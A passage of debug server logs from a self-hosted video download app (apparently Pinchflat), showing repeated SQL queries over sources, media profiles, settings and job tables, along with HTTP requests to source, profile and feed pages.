m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:21.673 [debug] QUERY OK source="sources" db=1.3ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:21.673 [debug] QUERY OK source="tasks" db=1.9ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [14408] 22:17:21.674 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.674 [debug] QUERY OK source="settings" db=1.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.675 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=1.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2349] 22:17:21.675 [debug] QUERY OK source="sources" db=0.6ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:21.676 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.677 [info] Sent 200 in 20ms 22:17:21.677 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.677 [info] Sent 200 in 18ms 22:17:21.678 [debug] QUERY OK source="settings" db=0.5ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.678 [debug] QUERY OK source="media_items" db=1.8ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:17:21.679 [info] GET /sources/opml.xml 22:17:21.679 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "71deeec1-96bc-4eaf-9810-572fb83e788f"} Pipelines: [:maybe_basic_auth, :token_protected_route] 22:17:21.680 [info] Sent 200 in 17ms 22:17:21.680 [debug] QUERY OK source="settings" db=0.8ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.681 [debug] QUERY OK source="media_items" db=2.5ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:21.681 [debug] QUERY OK source="settings" db=1.6ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.681 [debug] QUERY OK source="media_profiles" db=0.4ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.682 [debug] QUERY OK source="sources" db=0.4ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:21.682 [debug] QUERY OK source="sources" db=0.5ms idle=3.3ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 22:17:21.682 [info] Sent 200 in 3ms 22:17:21.683 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:17:21.684 [info] Sent 200 in 14ms 22:17:21.684 [debug] QUERY OK source="media_items" db=1.0ms queue=0.4ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:21.686 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:21.687 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:17:21.688 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:21.690 [info] Sent 200 in 32ms 22:17:21.903 [info] GET /sources/new 22:17:21.903 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 22:17:21.905 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=220.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:17:21.907 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=221.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.908 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=220.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.908 [debug] QUERY OK source="settings" db=0.1ms idle=220.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.908 [debug] QUERY OK source="settings" db=0.1ms idle=220.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.909 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.915 [info] Sent 200 in 12ms 22:17:21.916 [info] GET /sources/10/ 22:17:21.916 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 22:17:21.917 [debug] QUERY OK source="sources" db=0.4ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.918 [debug] QUERY OK source="media_profiles" db=0.2ms idle=9.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.918 [debug] QUERY OK source="tasks" db=0.4ms idle=9.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 22:17:21.919 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=9.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 22:17:21.919 [debug] QUERY OK source="settings" db=0.2ms idle=9.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.919 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.920 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.922 [info] GET /sources/10/ 22:17:21.922 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 22:17:21.922 [debug] QUERY OK source="sources" db=0.6ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.923 [debug] QUERY OK source="sources" db=0.5ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.924 [info] GET /sources/10/edit 22:17:21.924 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 22:17:21.924 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 22:17:21.924 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.925 [info] GET /media_profiles/3 22:17:21.925 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 22:17:21.926 [debug] QUERY OK source="tasks" db=0.7ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 22:17:21.926 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.926 [info] GET /sources/6/ 22:17:21.926 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 22:17:21.926 [debug] QUERY OK source="sources" db=1.3ms queue=0.5ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.927 [debug] QUERY OK source="oban_jobs" db=1.3ms queue=0.1ms idle=1.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 22:17:21.927 [debug] QUERY OK source="sources" db=1.4ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [3] 22:17:21.927 [debug] QUERY OK source="media_items" db=2.7ms queue=0.2ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.927 [debug] QUERY OK source="media_profiles" db=1.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:17:21.928 [debug] QUERY OK source="sources" db=1.4ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 